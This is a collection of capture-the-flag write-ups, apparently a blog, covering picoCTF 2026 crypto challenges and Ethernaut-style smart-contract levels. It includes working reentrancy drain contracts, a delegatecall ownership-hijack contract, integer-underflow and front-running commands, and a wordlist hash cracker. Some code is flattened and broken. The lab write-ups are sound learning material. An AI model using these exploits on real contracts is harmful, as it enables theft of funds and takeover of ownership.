I wrote a Python script to treat the maze as a graph. I used a queue to explore all possible paths, applying the XOR decryption at each step to see which “neighboring” room was the valid next step.
Python Exploit Script:
```python import collections
Simplified maze representation: {room_id: [neighbors]}
maze_data = { “start”: [“room1”, “room2”], “room1”: [“room3”], # … more rooms }
def solve_maze(start_node, target_node): queue = collections.deque([(start_node, [start_node])]) visited = set()
while queue:
(current_node, path) = queue.popleft()
if current_node == target_node:
return path
if current_node not in visited:
visited.add(current_node)
for neighbor in maze_data.get(current_node, []):
# In the real challenge, we perform an XOR check here:
# if (int(current_node, 16) ^ int(neighbor, 16)) == MAGIC_KEY:
queue.append((neighbor, path + [neighbor]))
return None
path = solve_maze(“start”, “exit”) print(f”Path Found: {‘ -> ‘.join(path)}”)
picoCTF 2026: front_running
Intermediate
Exploiting the public nature of the mempool to steal a transaction's intended outcome.
picoCTF 2026: front_running
IntermediateExploiting the public nature of the mempool to steal a transaction's intended outcome.
Description
A secret password releases the flag. But even if you find the password, someone keeps beating you to the claim!
Analysis
mempool visibility is a feature and a vulnerability at the same time. had to outbid the bot with priority fees.
On a public blockchain, all pending transactions are visible in the Mempool. If you send a transaction with the correct password, a bot can see your transaction, copy the password, and send a transaction with a higher Gas Fee to get processed first.
Solution
To solve this, I had to use a higher priority-fee to ensure my transaction was included in the block before the bot’s.
Execution via Cast:
```bash
cast send $CONTRACT “solve(string)” “secret_password”
–priority-gas-price 10gwei
–private-key $PRIVATE_KEY
picoCTF 2026: hashcrack
Beginner
Performing a wordlist-based dictionary attack to recover a plaintext password from its SHA-256 hash.
picoCTF 2026: hashcrack
BeginnerPerforming a wordlist-based dictionary attack to recover a plaintext password from its SHA-256 hash.
Description
We found a leaked hash from an interstellar database. Can you find the original password to unlock the next sector?
Analysis
rockyou.txt does a lot of heavy lifting in CTFs. dictionary attacks are underrated.
Cryptographic hashes are one-way, meaning they cannot be reversed through a simple formula. To find the plaintext, we must perform a Dictionary Attack. By hashing every word in a known list and comparing it to our target, we can identify the original password if it exists in our dictionary.
Solution
I wrote a Python script to iterate through the common rockyou.txt wordlist, hashing each entry using the hashlib library until a match was found.
Python Exploit Script:
```python import hashlib
The target hash provided by the challenge
target_hash = “5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8”
def crack_hash(): # Path to your wordlist wordlist_path = “/usr/share/wordlists/rockyou.txt”
try:
with open(wordlist_path, "r", encoding="latin-1") as f:
for line in f:
password = line.strip()
# Hash the current word using SHA-256
guess_hash = hashlib.sha256(password.encode()).hexdigest()
if guess_hash == target_hash:
print(f"[+] Password found: {password}")
return
except FileNotFoundError:
print("[-] Wordlist not found. Please check the path.")
crack_hash()
picoCTF 2026: interencdec
Beginner
A multi-layered decoding challenge involving Base64, ROT13, and string manipulation.
picoCTF 2026: interencdec
BeginnerA multi-layered decoding challenge involving Base64, ROT13, and string manipulation.
Description
We found a strange transmission that seems to be double-encoded. Can you peel back the layers to find the flag?
Analysis
layer one was obvious. layer two caught me off guard. always peel one more layer.
This challenge requires identifying common encoding schemes. The initial string features a character set consistent with Base64. After the first decoding step, the resulting text appears to be shifted using a Caesar Cipher (ROT13).
Solution
I used a Python script to automate the decoding process in one go. This avoids manual errors when moving data between different online tools.
Python Exploit Script:
```python import base64 import codecs
The original encoded string from the challenge
encoded_str = “Y3Zwa1BGU3tmMXNoX2Z1dmN0X3FycDFxcl8yMDI2fQ==”
def solve(): # Layer 1: Base64 Decode # We decode the bytes and then convert them back to a string layer1 = base64.b64decode(encoded_str).decode(‘utf-8’) print(f”Layer 1 (Base64 Decoded): {layer1}”)
# Layer 2: ROT13 Decode
# 'codecs' library handles the shift easily
final_flag = codecs.encode(layer1, 'rot_13')
print(f"Final Flag: {final_flag}")
solve()
picoCTF 2026: mod26
Beginner
Decrypting a ROT13 cipher using modular arithmetic principles.
picoCTF 2026: mod26
BeginnerDecrypting a ROT13 cipher using modular arithmetic principles.
Description
Cryptographic ciphers often involve modular arithmetic. Can you find the flag hidden behind this classic shift?
Analysis
The challenge title “mod26” refers to the number of characters in the English alphabet. This is a classic ROT13 (Rotate 13) cipher, a special case of the Caesar cipher where the alphabet is shifted by 13 positions.
Solution
I implemented a simple Python function to handle the character shifting. This approach ensures that non-alphabetical characters (like underscores and brackets) remain unchanged.
Python Exploit Script:
```python def rot13(s): result = “” for char in s: if ‘a’ <= char <= ‘z’: # Shift within lowercase range result += chr((ord(char) - ord(‘a’) + 13) % 26 + ord(‘a’)) elif ‘A’ <= char <= ‘Z’: # Shift within uppercase range result += chr((ord(char) - ord(‘A’) + 13) % 26 + ord(‘A’)) else: # Leave symbols and numbers alone result += char return result
ciphertext = “cvpbPGS{p0q3_fuvsg_f1zcy3_2026}” print(f”Decoded Flag: {rot13(ciphertext)}”)
picoCTF 2026: reentrance
Intermediate
Performing a reentrancy attack to drain a contract's vault by exploiting the order of operations.
picoCTF 2026: reentrance
IntermediatePerforming a reentrancy attack to drain a contract's vault by exploiting the order of operations.
Description
The classic Ethernaut-style reentrancy. Drain the contract of all its funds to get the flag.
Analysis
picoCTF version of the classic. effects before interactions — never forget the order.
The contract follows the “Checks-Interactions-Effects” pattern incorrectly. It sends Ether to the user before updating their balance. This allows a malicious contract to call the withdraw function repeatedly before the first call finishes.
Solution
I deployed an attacker contract with a fallback() function that calls withdraw() again as soon as it receives Ether.
Attacker Contract:
contract Attack {
IReentrance target;
constructor(address _target) { target = IReentrance(_target); }
function attack() external payable {
target.donate{value: msg.value}(address(this));
target.withdraw(msg.value);
}
fallback() external payable {
if (address(target).balance >= msg.value) {
target.withdraw(msg.value);
}
}
}
picoCTF 2026: shift registers
Intermediate
Reversing a Linear Feedback Shift Register (LFSR) to recover the initial state and decrypt the bitstream.
picoCTF 2026: shift registers
IntermediateReversing a Linear Feedback Shift Register (LFSR) to recover the initial state and decrypt the bitstream.
Description
The transmission is encrypted using a simple hardware-based stream cipher. We managed to recover the feedback taps and the first few bytes of the output. Can you find the initial state?
Analysis
LFSR felt intimidating at first. once you model it as matrix multiplication over GF(2) it clicks fast.
This challenge uses an LFSR (Linear Feedback Shift Register). Since the feedback mechanism is linear (using XOR), we can model the state transitions as a matrix multiplication over $GF(2)$. If we have the tap positions, we can simulate the register in reverse or solve for the initial seed.
Solution
I implemented a Python script to simulate the LFSR. By brute-forcing the initial state (if the register length is small, like 16 or 24 bits) or using the Berlekamp-Massey algorithm for longer registers, we can recover the original seed.
Python Exploit Script:
```python def lfsr(state, taps): # Perform the XOR on the tap positions feedback = 0 for tap in taps: feedback ^= (state » tap) & 1
# Shift the state and insert the feedback bit at the high end
# Assuming a 16-bit register
new_state = (state >> 1) | (feedback << 15)
return new_state, state & 1
Example taps and initial output found in challenge
taps = [15, 13, 12, 10] output_needed = “10110…”
def crack(): # Brute force all possible 16-bit seeds for seed in range(0x10000): state = seed generated_bits = “” for _ in range(len(output_needed)): state, bit = lfsr(state, taps) generated_bits += str(bit)
if generated_bits == output_needed:
print(f"Found Seed: {hex(seed)}")
return seed
crack()
picoCTF 2026: smart_overflow
Beginner
Exploiting integer overflow in a Solidity contract to manipulate account balances.
picoCTF 2026: smart_overflow
BeginnerExploiting integer overflow in a Solidity contract to manipulate account balances.
Description
This challenge features a simple token contract where users can buy and sell tokens. The goal is to obtain a balance much higher than the total supply.
Analysis
pre-0.8.0 underflow. safemath exists for a reason.
The vulnerability exists in the transfer function where it checks the user’s balance but fails to account for Integer Overflow. In older Solidity versions (pre-0.8.0), adding to a variable at its maximum value ($2^{256} - 1$) would cause it to wrap back around to 0.
Solution
By sending a value that, when added to the current balance, exceeds the uint256 limit, we can “reset” the balance or bypass requirement checks.
Exploit:
If we have a balance of 1 and we subtract 2, the balance doesn’t become -1 (since it is unsigned); it wraps around to a massive number.
```bash
Using cast to trigger the overflow
cast send $CONTRACT “transfer(address,uint256)” $ATTACKER_ADDRESS $LARGE_VALUE –private-key $PRIVATE_KEY
picoCTF 2026: stegorsa
Intermediate
Extracting hidden RSA keys from image metadata to decrypt a secure transmission.
picoCTF 2026: stegorsa
IntermediateExtracting hidden RSA keys from image metadata to decrypt a secure transmission.
Description
An image was intercepted from the “Interstellar” fleet. Rumor has it the encryption keys are hidden within the image itself.
Analysis
RSA key hidden in image LSBs. zsteg pulled it out in seconds. two-stage exploit was fun.
This challenge is a two-part exploit:
- LSB Steganography: Data is hidden in the Least Significant Bits of the image pixels.
- RSA Decryption: The hidden data contains the parameters ($p, q, e$) or a PEM-encoded private key needed to decrypt the flag.
Solution
I used zsteg to analyze the image and found a hidden SSH/RSA private key in the b1,rgb,lsb,xy stream. Instead of using OpenSSL, I implemented the decryption using a Python script for better control over the process.
1. Extraction:
zsteg -E "b1,rgb,lsb,xy" challenge.png > private.key
2. Decryption (Python Script):
I used the pycryptodome library to import the recovered key and decrypt the ciphertext.
```python from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP
Load the extracted private key
with open(“private.key”, “rb”) as f: key_data = f.read() key = RSA.import_key(key_data)
Initialize the cipher
cipher = PKCS1_OAEP.new(key)
Read and decrypt the flag
with open(“flag.enc”, “rb”) as f: ciphertext = f.read() decrypted_message = cipher.decrypt(ciphertext)
print(f”Flag: {decrypted_message.decode()}”)
picoCTF 2026: The Numbers
Beginner
Decoding a numeric substitution cipher by mapping integers to their corresponding alphabet positions.
picoCTF 2026: The Numbers
BeginnerDecoding a numeric substitution cipher by mapping integers to their corresponding alphabet positions.
Description
The message is just a sequence of numbers. Can you translate them back into the flag?
Analysis
A=1, B=2. oldest trick in the book. still satisfying to decode.
This is a basic Substitution Cipher. Each number corresponds to a letter of the alphabet based on its index (A=1, B=2, …, Z=26). The structure of the numbers clearly mimics the picoCTF{...} format, with the numbers for ‘P’, ‘I’, ‘C’, and ‘O’ appearing at the start.
Solution
I used a Python script to quickly map these integers back to characters. Using the chr() function with an offset of 64 allows us to convert the number 1 to ‘A’ (since the ASCII value of ‘A’ is 65).
Python Exploit Script:
```python
The sequence of numbers provided in the challenge
numbers = [16, 9, 3, 15, 3, 20, 6, 20, 8, 5, 14, 21, 13, 2, 5, 18, 19, 13, 1, 19, 15, 14]
def solve(): flag = “” for num in numbers: # Convert number to character (1 -> ‘A’) # ASCII ‘A’ is 65, so 64 + 1 = 65 char = chr(num + 64) flag += char
# Manually add the picoCTF prefix format
print(f"Decoded: PICOCTF}")
solve()
picoCTF 2026: timestamped secrets
Intermediate
Exploiting weak PRNG seeds by synchronized time-stamping to predict 'random' outputs.
picoCTF 2026: timestamped secrets
IntermediateExploiting weak PRNG seeds by synchronized time-stamping to predict 'random' outputs.
Description
The system generates a ‘unique’ secret for every session, but it seems to rely on the current time to do so. If you can sync your clock with the server, the secret might not be so secret.
Analysis
time.time() as an RNG seed. ±5 second brute force window was enough. clocks are not secrets.
The core vulnerability here is Predictable Seeding. Most Pseudo-Random Number Generators (PRNGs) are deterministic; if you know the seed, you can predict every subsequent number. By using time.time() as a seed, the “randomness” becomes a function of the clock.
Solution
I captured the timestamp from the server’s response headers. Since there might be a small delay (network latency), I wrote a Python script to test a small range of timestamps (±5 seconds) around the target time.
Python Exploit Script:
```python import random import time
The timestamp extracted from the server’s ‘Date’ header
Example: Thu, 26 Mar 2026 22:10:00 GMT -> 1774563000
target_time = 1774563000
def crack_secret(): # Loop through a small window to account for network lag for offset in range(-5, 6): test_seed = target_time + offset random.seed(test_seed)
# Simulate the server's flag generation
# (e.g., generating 16 random hex characters)
potential_flag = "".join([hex(random.randint(0, 15))[2:] for _ in range(16)])
print(f"Seed {test_seed}: picoCTF}")
crack_secret()
Preservation
Hard
Hijack contract ownership by exploiting storage slot collisions during a delegatecall to a library.
Preservation
HardHijack contract ownership by exploiting storage slot collisions during a delegatecall to a library.
Analysis
two-phase delegatecall storage collision — this is the most satisfying exploit on the list.
The Preservation contract uses a library to set the time. It uses delegatecall to execute setTime(uint256) in the LibraryContract.
The Flaw:
In Solidity, delegatecall runs code in the context of the caller’s storage.
- The
LibraryContractdefines its first variablestoredTimeat Slot 0. - The
Preservationcontract hastimeZone1Libraryat Slot 0,timeZone2Libraryat Slot 1, andownerat Slot 2.
When setFirstTime(uint256) is called, the library updates its first variable (Slot 0). But because it’s a delegatecall, it actually updates Slot 0 of Preservation, which is the address of the library itself!
Solution
The attack has two phases:
- Change the Library Address: Point
timeZone1Library(Slot 0) to your malicious contract. - Overwrite the Owner: Call the function again so your malicious contract updates Slot 2 (the owner).
Attacker Contract (Solidity):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
contract AttackPreservation {
// These MUST match the storage layout of Preservation to hit Slot 2
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint256 _newOwner) public {
// This executes in Preservation's context, overwriting its Slot 2
owner = address(uint160(_newOwner));
}
}
Privacy
Intermediate
Unlock a heavily shielded contract by navigating complex storage slot packing and array indexing.
Privacy
IntermediateUnlock a heavily shielded contract by navigating complex storage slot packing and array indexing.
Analysis
mapping storage slots manually was painful. but now storage layout is burned into my brain.
Like the Vault challenge, the goal is to find a bytes32 key. However, this contract has many variables, meaning the key is buried deeper in the storage slots.
The Storage Layout Rules:
- Each slot is 32 bytes ($256$ bits).
- Variables are packed into the same slot if they fit.
- Arrays always start at a new slot.
Mapping the Slots for Privacy.sol:
- Slot 0:
bool public locked(1 byte) - Slot 1:
uint256 public ID(32 bytes) - Slot 2:
uint8 flattening,uint8 denomination,uint16 awkwardness(Total: 4 bytes - they all pack here) - Slot 3:
bytes32[3] data->data[0] - Slot 4:
bytes32[3] data->data[1] - Slot 5:
bytes32[3] data->data[2]
The code requires data[2], which is sitting in Slot 5.
Solution
The contract requires a bytes16 key, but our storage data is bytes32. We must read Slot 5 and truncate the value to the first 16 bytes (32 hex characters + the 0x prefix).
Step-by-Step:
- Query Slot 5: Use web3 to pull the raw hex from the 6th storage slot (index 5).
- Truncate: Take the first 16 bytes of that 32-byte string.
- Unlock: Call the
unlock()function with the truncated key.
Console Commands:
```javascript // 1. Get the 32-byte hex string from Slot 5 const rawData = await web3.eth.getStorageAt(instance, 5);
// 2. Truncate to bytes16 (0x + 32 characters = 34 total length) const key = rawData.slice(0, 34);
// 3. Unlock the contract await contract.unlock(key);
// 4. Check status await contract.locked(); // Result: false
Re-entrancy
Intermediate
Drain a contract's entire balance by recursively calling the withdraw function before the state updates.
Re-entrancy
IntermediateDrain a contract's entire balance by recursively calling the withdraw function before the state updates.
Analysis
the DAO hack in miniature. once you see the execution order, you can’t unsee it.
The vulnerability exists in the withdraw function because it follows an insecure pattern: it sends Ether to the user before updating their balance in the contract’s state.
The Flaw:
The contract uses msg.sender.call{value: _amount}(""). When this line executes, the control of the execution flow is handed over to the msg.sender. If the sender is a malicious contract, it can use its receive() function to call withdraw() again.
Because the first call hasn’t reached the line where it subtracts the balance (balances[msg.sender] -= _amount), the contract thinks the attacker still has funds and sends Ether again. This repeats until the contract is drained.
Solution
You must deploy an attacker contract that initiates the first withdrawal and then uses its receive function to “re-enter” the victim contract.
Attacker Contract (Solidity):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IReentrance {
function donate(address _to) external payable;
function balanceOf(address _who) external view returns (uint);
function withdraw(uint _amount) external;
}
contract AttackReentrance {
IReentrance public target;
constructor(address _target) public {
target = IReentrance(_target);
}
// Fallback is called when Ether is sent
receive() external payable {
if (address(target).balance >= 0.001 ether) {
target.withdraw(0.001 ether);
}
}
function attack() external payable {
require(msg.value >= 0.001 ether, "Need some ETH");
target.donate{value: 0.001 ether}(address(this));
target.withdraw(0.001 ether);
}
// Withdraw stolen funds to your address
function withdrawAll() external {
msg.sender.transfer(address(this).balance);
}
}
Recovery
Intermediate
Complete this level by recovering (or removing) the 0.001 ether from the lost contract address.
Recovery
IntermediateComplete this level by recovering (or removing) the 0.001 ether from the lost contract address.
Analysis
deterministic contract addresses saved the day. the EVM never forgets.
Contracts created with “new” have deterministic addresses.So even if the token contract address is “lost”, it can be recomputed on-chain from deployer address and Nonce.
The Flaw:
Here the destroy() is public(no access control) so Anyone can call selfdestruct and ETH stored in the token contract can be sent to any address.
Solution
To solve this,One can recompute the token contract address created with “new” and with the destroy() call selfdestruct and ETH stored in the token contract can be sent to any address.
Foundry Scripts
# 1. Recompute the token contract address using following foudry script
cast compute-address $RECOVERY --nonce 1
# 2.Store the Token contract addresss
export TOKEN=0xTOKEN_ADDRESS
# 3.Destroy the token contract
cast send $TOKEN "destroy(address)" $WALLET_ADDRESS --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL
# 4. Verify the balance
cast balance $WALLET_ADDRESS --rpc-url $SEPOLIA_RPC_URL
picoCTF 2026: Shared Secrets
Intermediate
Calculating a shared cryptographic secret using the Diffie-Hellman Key Exchange protocol.
picoCTF 2026: Shared Secrets
IntermediateCalculating a shared cryptographic secret using the Diffie-Hellman Key Exchange protocol.
Description
Two interstellar scouts are communicating using a shared secret. We’ve intercepted their public keys and the prime parameters. Can you recover the secret key they are using to encrypt their map?
Analysis
clean Diffie-Hellman implementation. the math is elegant when you see it working end-to-end.
This is a standard implementation of the Diffie-Hellman (DH) protocol. The security of DH relies on the difficulty of the Discrete Logarithm Problem. However, in this challenge, the prime $p$ was small enough (or the private key was weak enough) to allow for the recovery of the shared secret.
Solution
I used a Python script to perform the modular exponentiation. Given Alice’s public key $A$, Bob’s public key $B$, and the prime $p$, the shared secret $S$ is $A^b \pmod p$.
```python
Parameters from the challenge
p = 0xffffffffffffffff… # The large prime g = 2 A = … # Alice’s public key B = … # Bob’s public key b = … # Bob’s private key (recovered or provided)
Calculate Shared Secret: S = A^b % p
shared_secret = pow(A, b, p)
print(f”Shared Secret: {shared_secret}”)
The secret is then usually hashed or converted to hex for the flag
Telephone
Beginner
Exploit the difference between tx.origin and msg.sender to bypass ownership checks.
Telephone
BeginnerExploit the difference between tx.origin and msg.sender to bypass ownership checks.
Analysis
tx.origin vs msg.sender broke my mental model completely the first time. this level fixed it.
The vulnerability in the Telephone contract lies in this line:
if (tx.origin != msg.sender) { owner = _owner; }
To understand why this is a flaw, we must distinguish between the two global variables:
- msg.sender: The direct address that called the function.
- tx.origin: The original external account (EOA) that started the transaction.
The Flaw:
If you call the Telephone contract directly, tx.origin and msg.sender are the same (your wallet). However, if you use an intermediary Attacker Contract, msg.sender becomes the address of that contract, while tx.origin remains your wallet address.
Solution
To trigger the ownership change, you need to create a simple proxy contract that calls the changeOwner function.
Attacker Contract (Solidity)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract TelephoneAttacker {
ITelephone public target;
constructor(address _target) {
target = ITelephone(_target);
}
function attack(address _newOwner) public {
// This call makes msg.sender = this contract's address
// But tx.origin = your wallet address
target.changeOwner(_newOwner);
}
}
Token
Beginner
Exploit an integer underflow to bypass balance checks and generate trillions of tokens.
Token
BeginnerExploit an integer underflow to bypass balance checks and generate trillions of tokens.
Analysis
underflow is beautiful in the worst way. 20 - 21 = the entire uint256 range. still unsettling.
The vulnerability lies in the transfer function:
require(balances[msg.sender] - _value >= 0);
In versions of Solidity before 0.8.0, arithmetic operations were not checked for overflow or underflow by default.
The Flaw:
If you have a balance of 20 tokens and try to send 21 tokens, the calculation 20 - 21 does not result in -1. Instead, it “wraps around” to the maximum value of a uint256, which is $2^{256} - 1$.
Because $2^{256} - 1$ is definitely greater than or equal to 0, the require statement passes, and your balance becomes an astronomical number.
Solution
You don’t even need an attacker contract for this one; you can do it directly from the console by sending more tokens than you currently own.
Step-by-Step:
- Check Balance: Confirm you have 20 tokens.
await contract.balanceOf(player) - Trigger Underflow: Transfer 21 tokens to any other address (e.g., the contract address or a random wallet).
await contract.transfer('0x0000000000000000000000000000000000000000', 21) - Verify: Check your balance again. It will now be a massive number.
Console Commands:
```javascript // Send more than you have to trigger underflow await contract.transfer(instance, 21);
// Check your new massive balance const bal = await contract.balanceOf(player); console.log(“New Balance:”, bal.toString());
Vault
Intermediate
Unlock a vault by reading 'private' storage data directly from the blockchain.
Vault
IntermediateUnlock a vault by reading 'private' storage data directly from the blockchain.
Analysis
‘private’ in solidity means nothing on a public blockchain. everything is readable. everything.
The Vault contract is locked and requires a password to open. The password is stored as a private variable:
bytes32 private password;
The Flaw:
In Solidity, the private keyword only prevents other contracts from reading the variable. It does not hide the data from the outside world. All state variables are stored in Storage Slots (32-byte chunks).
Solution
The level is solved by reading the password directly from the Vault contract’s storage and passing it to the unlock function using a Foundry script. The exploit script retrieves the value stored in slot 1 off-chain and supplies it as an argument to unlock, setting the locked state to false and completing the level. No additional attacker contract deployment is required.
Exploit Script (Foundry):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
interface IVault {
function unlock(bytes32 _password) external;
function locked() external view returns (bool);
}
contract UnlockVaultScript is Script {
function run() external {
// read instance address from env
address target = vm.envAddress("INSTANCE_ADDRESS");
// read password from env as bytes32
bytes32 pw = vm.envBytes32("PASSWORD_HEX");
// start broadcast using --private-key CLI flag
vm.startBroadcast();
IVault(target).unlock(pw);
vm.stopBroadcast();
}
}